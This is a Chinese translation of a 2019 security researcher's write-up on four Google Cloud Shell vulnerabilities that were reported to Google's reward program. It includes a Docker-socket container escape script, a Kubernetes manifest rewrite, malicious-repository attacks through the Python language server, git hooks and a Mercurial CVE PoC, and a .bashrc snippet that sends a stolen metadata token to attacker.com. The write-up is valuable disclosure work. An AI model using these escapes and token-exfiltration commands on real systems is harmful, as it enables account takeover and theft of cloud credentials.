大数跨境
0
0

啃硬骨头的经历:在25分钟内发现4个Google Cloud Shell漏洞(详情)

啃硬骨头的经历:在25分钟内发现4个Google Cloud Shell漏洞(详情) 代码卫士
2019-12-20
2
导读:目测获得的奖励金应该很丰厚
 聚焦源代码安全,网罗国内外最新资讯!
编译:奇安信代码卫士团队

IT安全服务公司OFFENSI 前几天发布了一篇文章,详述了从 Google Cloud Shell 中找到4bug 的过程。奇安信代码卫士团队翻译如下。


引言

2019年,我花费大量时间查找谷歌云平台上的漏洞。虽然大家都知道谷歌云平台上的洞难挖,但我还是很幸运,在它的Google Cloud Shell 服务中获得了一些进步。
今年7月份,谷歌 VRP Eduardo 找到我,询问我是否愿意向 LiveOverflow 演示一个 Cloud Shell 漏洞作为视频访谈的一部分内容,不过前提条件是:这个漏洞必须是谷歌还未修复的!LiveOverflow对我提交的漏洞进行了改善,效果很好。
之后,谷歌邀请我参加10月份在伦敦谷歌总部举办的 BugSWAT 活动在这次活动上我为在座的同行以及谷歌员工分享了《25分钟找到4 Cloudshell 漏洞》的演讲内容。
我总共在Google Cloud Shell 中发现了9个漏洞。本文将披露4个,其中最后一个是我的最爱。
关于Google Cloud Shell
Google Cloud Shell 为管理员和开发人员提供了快速访问云资源的方法。它为用户提供了可经由浏览器访问的 Linuxshellshell 具有预装工具,供用户运作Google Cloud Platform (谷歌云平台)项目,如gcloudDockerPythonvimEmacs 和一款强大的开源 IDE Theia
谷歌云平台用户可以通过云控制台或者访问如下url 的方式启动一个Cloud Shell 实例:
https://console.cloud.google.com/home/dashboard?cloudshell=true&project=your_project_id
CloudShell 实例启动后,用户会看到一个终端窗口,如下面截图所示。值得注意的是 gcloud 客户端已经经过认证。如果攻击者能够攻陷你的 Coud Shell,那么就能够访问你所有的 GCP 资源。

 
逃逸 Cloud Shell 容器
在查看正在运行的在 Cloud Shell 内部具有ps的进程时,我们似乎会被困顿在 Docker 容器中。只有少量进程正在运行。
为了证实这一猜想,我们可以查看/proc文件系统。Linux 版本的 Docker Engine 使用所谓的控制组 (cgroups)Cgroup 将一款应用程序限制到一组具体的资源中。例如,通过使用 cgroupsDocker 能够限制分配给容器的内存大小。 Cloud Shell 的情况中,我通过查看 /proc/1/environ 的内容发现了对 Kubernetes Docker 的使用,如下截图所示:

 
这时,我肯定自己被困在容器中了。如果我想要了解更多的 Cloud Shell 内部运作结构的内容,那么就需要找到逃逸主机的方法。幸运的是,经过探索文件系统后,我发现两个可用的 Docker unix 套接字。一个存在于/run/docker.sock中,它是在 Cloud Shell 中运行的 Docker 客户端的默认路径(Docker 中的 Docker),第二个存在于/google/host/var/run/docker.sock中。
第二个 Unix 套接字的路径名称表明,它是一个基于主机的 Docker 套接字。能够和基于主机的 Docker 套接字进行通信的任何人都能轻松逃逸该容器并同时获得主机的根权限。
通过如下脚本,我逃逸到主机。
# create a privileged container with host root filesystem mounted - wtm@offensi.comsudo docker -H unix:///google/host/var/run/docker.sock pull alpine:latestsudo docker -H unix:///google/host/var/run/docker.sock run -d -it --name LiveOverflow-container -v "/proc:/host/proc" -v "/sys:/host/sys" -v "/:/rootfs" --network=host --privileged=true --cap-add=ALL alpine:latestsudo docker -H unix:///google/host/var/run/docker.sock start LiveOverflow-containersudo docker -H unix:///google/host/var/run/docker.sock exec -it LiveOverflow-container /bin/sh
 
宏观概览
现在我获得了主机的 root 权限,于是开始探索存储在YAML 文件中  ‘/etc/kubernetes/manifests/下的 Kubernetes 的配置。Kubernetes 配置和对 tcpdump多个小时的流量监察情况来看,我更好地理解了 Cloud Shell 的运行方式。如下是我创建的高层级图表草图。
 

 
重新配置 Kubernetes
在默认情况下,Kubernetes pod 容器中的多数容器以低权限运行。有鉴于此,我们无法在这些容器中使用调试工具如 gdb straceGdb strace 依靠 ptrace() 系统调用并且要求具备最低的 SYS_PTRACE 能力。比起授予所有容器具备 SYS_PTRACE能力来说,以权限模式运行所有的容器更容易。因此,我写了一个重新配置 ‘cs-6000’ pod 容器的脚本。
如下脚本写的是新的 cs-6000.yaml 配置并且将旧的配置链接到/dev/null运行之后,你会发现 pod 容器中的所有容器将自动重启。现在所有的容器都以权限模式运行,我们可以进行调试了。
#!/bin/sh# wtm@offensi.com
# write new manifestcat /etc/kubernetes/manifests/cs-6000.yaml | sed s/" 'securityContext': \!\!null 'null'"/\" 'securityContext':\n"\" 'privileged': \!\!bool 'true'\n"\" 'procMount': \!\!null 'null'\n"\" 'runAsGroup': \!\!null 'null'\n"\" 'runAsUser': \!\!null 'null'\n"\" 'seLinuxOptions': \!\!null 'null'\n"/g > /tmp/cs-6000.yaml
# replace old manifest with symlinkmv /tmp/cs-6000.yaml /etc/kubernetes/manifests/cs-6000.modifiedln -fs /dev/null /etc/kubernetes/manifests/cs-6000.yaml
 
更多资源
  • Cloudshell 工具的 GitHub 仓库地址:

    https://github.com/offensi/LiveOverflow-cloudshell-stuff

  • LiveOverflow Cloud shell 漏洞访谈视频地址:

    https://www.youtube.com/watch?v=E-P9USG6kLs

  • 谷歌官方 Cloud Shell 文档地址:

    https://cloud.google.com/shell/docs/

  • Docker文档地址:

    https://docs.docker.com/

  • Kubernetes文档地址:

    https://kubernetes.io/docs/home/


bug #1:Python 语言服务器


引言
谷歌 Cloud Shell 为用户提供了名为 “Open In CloudShell” 的功能。用户可通过这个功能创建自动打开 Cloud Shell 的链接并克隆一个托管在 Github Bitbucket 上的 Git 仓库。我们可将参数cloudshell_git_repo传递给 Cloud Shell URL实现这一目的,如下:
<a href="https://ssh.cloud.google.com/cloudshell/editor?cloudshell_git_repo=http://path-to-repo/sample.git"><img alt="Open in Cloud Shell" src ="https://gstatic.com/cloudssh/images/open-btn.svg"></a>
 
打开链接后即启动 Cloud Shell,而‘http://path-to-repo/sample.git仓库被克隆到用户主页目录中。

 
除了 ‘cloud_git_repo’ GET-参数外,还可以传递其它参数。结合‘cloud_git_repo’‘open_in_editor’参数,我们可以在克隆一个仓库的同时启动所指定文件上的 Theia IDE可查看 Cloud Shell 文档完整了解受支持的所有GET- 参数。
PYLS
当用户克隆包含‘some_python_file.py’ Git 仓库并将该文件传递给open_in_editor GET- 参数 ('open_in_editor=some_python_file.py’)时,Theia 编辑器开始编辑所指定的文件。我们可以在编辑器中清楚地看到,IDE 突然获得高亮显示语法和自动完成的能力:

在查看以ps运行的进程时,我们注意到一个新进程。编辑器 _exec.sh 脚本启动了python 语言服务器 pyls
wtm          736  0.0  0.1  11212  2920 ?        S<s  13:54   0:00 /bin/bash /google/devshell/editor/editor_exec.sh python -m pyls


父进程似乎是 sshd如果我们将 strace 附加到 sshd 进程并观察 Python 语言服务器的启动过程,就能看到所有正在被执行的系统调用。我们将输出结果保存到/tmp/out中以便后续检查之用。
 

在遍历/tmp/out中的所有系统调用时,我发现该Python 语言服务器尝试通过 stat()系统调用在我的主页目录中查询并不存在的数据包。
538   stat("/home/wtm/supervisor", 0x7ffdf08e11e0) = -1 ENOENT (No such file or directory)542   stat("/home/wtm/pyls", 0x7ffcbbf61a10) = -1 ENOENT (No such file or directory)542   stat("/home/wtm/google", 0x7ffcbbf5fe00) = -1 ENOENT (No such file or directory)

当低于3.3版本的 Python 导入数据包时,它查看被执行的_init_.py文件。现在,我们获得了攻击向量!
构建 exploit
如果我们创建一个包含恶意‘_init_.py’且名为‘supervisor’’pyls’‘google’ 的恶意 git 仓库,那么就能诱骗 Python 语言服务器执行任意代码。我们所需要做的就是将恶意仓库存储在 Github 上并将受害者指向 https://ssh.cloud.google.com/console/editor?cloudshell_git_repo=https://github.com/offensi/supervisor&open_in_editor=__init__.py通过将_init_.py传递给‘open_in_editor’GET-参数,我们强制 IDE 自动启动 Python 语言服务器。
现在,这个语言服务器开始查找名为 ‘supervior’ 的数据包,当然,因为我们克隆了具有相同名称的仓库,现在就可以找到它了。隐藏在 ‘_init_.py’ 中的恶意代码就会被执行,意味着我们受害者的 GCP 资源受陷。
 

Bug #2:自定义 Cloud Shell镜像

引言
默认向用户展示的 Cloud Shell 基于一张 Debian 9 Stretch Docker 镜像。这张镜像中包含最流行的工具,存储在谷歌的 Cloud 仓库中(http://gcr.io/cloudshell-images/cloudshell:latest)。
如果用户有特殊需求,可将 Debian Cloud Shell 镜像替换为自定义镜像。例如,如果你想使用一张 Terraform 镜像配置基础设施,那么就可以在 Cloud Shell Environment 设置下将 Debian 镜像替换为 Terraform 镜像。
自动启动Docker 自定义镜像的另外一种方法是提供 ‘cloudshell_image’GET- 参数,如:https://ssh.cloud.google.com/cloudshell/editor?cloudshell_image=gcr.io/google/ruby
受信任环境
谷歌区分默认镜像和自定义镜像。运行默认镜像的容器,则将主文件夹安装到/home/username 中。另外在启动时,会为你的 gcloud 客户端提供凭证。
当从不受信任的第三方启动自定义镜像时,这样做可能会制造某些风险。如果自定义镜像中包含恶意代码并试图访问你的 GCP 资源,我们该怎么办?
鉴于此,谷歌推出“受信任”和“不受信任”两种模式。能够在受信任模式中自动运行的唯一镜像是  ‘gcr.io/cloudshell-images/cloudshell:latest’如以不受信任模式启动自定义镜像,则容器将主目录安装到空的且最后会被删除的 /home/user 中。另外,gcloud 客户端中并未附带凭证,因此无法通过在 metadata.google.internal 上查询元数据实例的方法获取持有者的令牌。
逃逸不受信任的环境
我们已经知道了如何从默认的 Cloud Shell 逃逸到主机。我们再来看下其中提到的代码:
sudo docker -H unix:///google/host/var/run/docker.sock pull alpine:latestsudo docker -H unix:///google/host/var/run/docker.sock run -d -it --name LiveOverflow-container -v "/proc:/host/proc" -v "/sys:/host/sys" -v "/:/rootfs" --network=host --privileged=true --cap-add=ALL alpine:latestsudo docker -H unix:///google/host/var/run/docker.sock start LiveOverflow-containersudo docker -H unix:///google/host/var/run/docker.sock exec -it LiveOverflow-container /bin/sh

这时,我们在主机上有了一个 shell通过使用 'chroot/rootfs将根目录更改为 /rootfs搜索文件系统后,发现该主机实例明显处于一种和预期不同的状态。虽然托管自定义 Docker 镜像的容器上已附加一个空的 /home/user 文件夹,但dmesgmount命令清楚地表明包含用户主文件夹的永久磁盘仍附加到了底层实例中!
 


利用
具备以上知识后,任何攻击者都能构建一个恶意 Docker 镜像。该恶意 Docker 镜像可使用如上技术在启动时逃逸到主机实例。逃逸到主机后,该恶意镜像可从用户的主文件夹中窃取内容。
另外,攻击也能将任意内容写入用户的主文件夹中以窃取凭证。例如将如下代码添加到/var/google/devshell-home/.bashrc’中:
curl -H"Metadata-flavor: Google" http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token > /tmp/token.jsoncurl -X POST -d@/tmp/token.json https://attacker.com/api/tokenupload


Bug#3:Git 克隆

在介绍第1 bug 时,我们套路了将‘cloudshell_git_repo’GET-repo附加到 Cloud Shell URL克隆 Github Bitbucket 存储库的可能性。除了这个参数以外,我们还可以指定一个 ‘cloudshell_git_branch’‘cloudshell_working_dir’参数为克隆过程提供帮助。
这是如何实施的?当我们将这3个参数传递给 Cloud Shell URL 时,cloudshell_open bash 函数在终端窗口中调用。该函数在‘/google/devshell/bashrc.google.d/cloudshell_open.sh’内被调用。如下是最重要的代码行的功能:
function cloudshell_open {... git clone -- "$cloudshell_git_repo" "$target_directory"cd "$cloudshell_working_dir"git checkout "$cloudshell_git_branch"...}

可以看到,’git clone’ 针对cloudshell_giti_repo GET-参数中指定的URL执行。之后该脚本通过 cd-ing cloudshell_working_dir 中指定的任意目录更改了正在运行的目录。之后它调用了指定 git 分支的 ‘git checkout’鉴于过滤了所有的输入参数,因此初看它似乎并没有什么害处。
GIT-HOOKS
Git-hooks是指执行某重要动作时启动的自定义脚本。当你运行 ‘git init’ 时默认创建的 git-hooks 存储在 .git/hooks 中,而且看起来和下面的内容类似:


如果我们能够将这些自定义脚本存储在恶意仓库并在受害者的 Cloud Shell 执行 ‘git checkout’ 时执行它们岂不是很酷?但根据 Git 手册来看,不可能这样做。这些 hook 是客户端的 hook隐藏在.git/中的内容都被忽视,因此无法被复制到远程仓库中。
裸仓库
创建仓库的标准方式是通过git init创建。它使用一个已知的布局的工作仓库,其中包括 .git/ 目录,内含所有的修订历史以及元数据并且包含你正在使用的文件的检出版本。
然而,仓库也可以以其它格式存储,被称为“裸仓库”。这种仓库通常用于共享并且具有某种平面布局。我们可以通过运行git init –bare命令创建。


Exploit
我们可以清楚地从截屏中看到,我们刚刚创建了一个 git 仓库,其目录不是 ‘git’,而是 ‘hooks’这意味着我们能够将存储在这个裸仓库中的 hook 推送到远程仓库中,如果我们将其隐藏在‘正常的’仓库子目录中的话。还记得 cloudshell_ 函数中的 ‘cd’ 命令吗?我们可以随心所欲跳到任何一个子目录中并执行 ‘git checkout’ 中,此后显示的 hooks 被启动。
PoC
PoC地址:https://github.com/offensi/git-poc
按照 README 中指定的方法运行git 克隆和 README 检出仓库将会执行一个无害的检出后 hook
针对 Cloud Shell 受害者的 URL 如:https://ssh.cloud.google.com/console/editor?cloudshell_git_repo=https://github.com/offensi/git-poc&cloudshell_git_branch=master&cloudshell_working_dir=evilgitdirectory。成功利用如下截屏所示:


Bug #4:go get

引言
审计 Javascript 代码(运行 Cloud Shell 时,负责浏览器所有客户端的工作)时,我发现一些不寻常的东西:处理所有 GET- 参数的代表列出了一个并不存在于官方文档中的参数。
   var B3b = {        CREATE_CUSTOM_IMAGE: "cloudshell_create_custom_image",        DIR: "cloudshell_working_dir",        GIT_BRANCH: "cloudshell_git_branch",        GIT_REPO: "cloudshell_git_repo",        GO_GET_REPO: "cloudshell_go_get_repo",        IMAGE: "cloudshell_image",        OPEN_IN_EDITOR: "cloudshell_open_in_editor",        PRINT: "cloudshell_print",        TUTORIAL: "cloudshell_tutorial"    };

上述所列的所有参数都在文档中有所解释,但 ‘cloudshell_go_get_repo’GET- 参数例外。当通过这个参数构建 Cloud Shell URL (https://ssh.cloud.google.com/cloudshell/editor?cloudshell_go_get_repo=https://github.com/some/package)时,cloudshell_open 函数再次被调用。
负责处理 ‘go get’命令的代码如下:
function cloudshell_open {...valid_url_chars="[a-zA-Z0-9/\._:\-]*"... if [[ -n "$cloudshell_go_get_repo" ]]; then    valid_go_get=$(echo $cloudshell_go_get_repo | grep -e "^$valid_url_chars$")    if [[ -z "$valid_go_get" ]]; then      echo "Invalid go_get"      return    fi...go get -- "$cloudshell_go_get_repo"go_src="$(go env GOPATH | cut -d ':' -f 1)/src/$go_get"
所有的输入似乎都被正确地进行了过滤。尽管如此,我还是做了一些相关的笔记。
容器漏洞扫描
几个月后,当我在寻找谷歌 Container Registry (gcr.io) 中的bug 时,发现了其中的一个功能叫“漏洞扫描”。当你启用该功能时,你推送到注册表中的所有Docker 镜像都会被扫描查看是否存在已知的漏洞和泄露情况。如果发现新漏洞,则 Container Registry 会查看是否影响你注册表中的镜像。
可从https://gcr.io/cloudshell-images/cloudshell:latest上找到我之前运行的 Docker 镜像即 Cloud Shell 镜像。我可以在本地 Docker 镜像中直接使用该镜像,因此我将其推送到注册表中,以便查看漏洞扫描功能的内部工作结构。
打开关于 Cloud Shell 镜像的扫描结果时,我有点震惊了。Cloud Shell 镜像中似乎存在500多个漏洞!
 


经过对几乎所有所列漏洞的查看后,我终于找到了一个很有意思也对我有用的一个漏洞 CVE-2019-3902
利用 CVE-2019-3902
CVE-2019-3902说明的是存在于 Mercurial 中的一个漏洞。由于它是存在于 Mercurial/HG 客户端路径检查逻辑中的漏洞,恶意仓库可以在客户端文件系统上仓库边界之外写入文件。我就知道go get命令能够处理多种类型的仓库 svnbzrgit HG
由于目前尚不存在 CVE-2019-3902 的公开 exploit,因此我必须进行重构。我下载了两个版本的 Mercurial 源代码:已修复版本和未修复版本。我希望能够通过对比这两个版本找到利用的线索。
当查看已修复版本的 Mercurial 源代码时,我偶然看到存储在 /test/ 仓库中的自动化测试用例。基于这些测试,我重构了该 exploit
#!/bin/sh# PoC for Google VRP by wtm@offensi.commkdir hgrepohg init hgrepo/rootcd hgrepo/rootln -s ../../../binhg ci -qAm 'add symlink "bin"'hg init ../../../binecho 'bin = bin' >> .hgsubhg ci -qAm 'add subrepo "bin"'
cd ../../../binecho '#!/bin/sh' >> cutecho 'wall You have been pwned!' >> cutchmod +x cuthg add cuthg commit -m "evil cut bin"
cd /var/www/html/hgrepo/roothg commit -m "final"

上述代码构建的是一个恶意仓库。当该仓库被易受攻击的 hg 客户端克隆时,恶意文件 ‘cut’ 被写入 ../../../bin 中。因为在我们看到 ‘cut’ 命令是在 ‘go get’ 克隆我们的恶意仓库库之后被调用的之前,我们查看了cloudshell_open函数,因此我们的任意代码被执行。
恶意仓库存储在 go.offensi.com/hgrepo 下的一个个人 webserver 上。恶意 go.html 文件位于该 webserver 的根目录中,作用是通过 ‘go get’ 命令克隆一个 Mercurial 仓库。
<meta name="go-import" content="go.offensi.com/go.html hg https://go.offensi.com/hgrepo/root">

现在,只要诱骗 Cloud Shell 用户打开如下链接,即可使他们执行任意代码:
https://ssh.cloud.google.com/cloudshell/editor?cloudshell_go_get_repo=https://go.offensi.com/go.html

 




推荐阅读

突发!Google Cloud、YouTube、Snapchat 等服务大面积瘫痪,原因不明

2019最有意思的五大 ZDI 案例之:通过调色板索引实现 Win32k.sys 本地提权漏洞(上)

2019最有意思的五大 ZDI 案例之:通过调色板索引实现 Win32k.sys 本地提权漏洞 (下)



原文链接
https://offensi.com/2019/12/16/4-google-cloud-shell-bugs-explained-bug-2/




题图:Pixabay License



本文由奇安信代码卫士编译,不代表奇安信观点,转载请注明“转自奇安信代码卫士 www.codesafe.cn”



奇安信代码卫士 (codesafe)

国内首个专注于软件开发安全的产品线。



 点个“在看”,bounty 多多~                                          

                                                


【声明】内容源于网络
0
0
代码卫士
奇安信代码卫士是国内第一家专注于软件开发安全的产品线,产品涵盖代码安全缺陷检测、软件编码合规检测、开源组件溯源检测三大方向,分别解决软件开发过程中的安全缺陷和漏洞问题、编码合规性问题、开源组件安全管控问题。本订阅号提供国内外热点安全资讯。
内容 3434
粉丝 0
代码卫士 奇安信代码卫士是国内第一家专注于软件开发安全的产品线,产品涵盖代码安全缺陷检测、软件编码合规检测、开源组件溯源检测三大方向,分别解决软件开发过程中的安全缺陷和漏洞问题、编码合规性问题、开源组件安全管控问题。本订阅号提供国内外热点安全资讯。
总阅读766
粉丝0
内容3.4k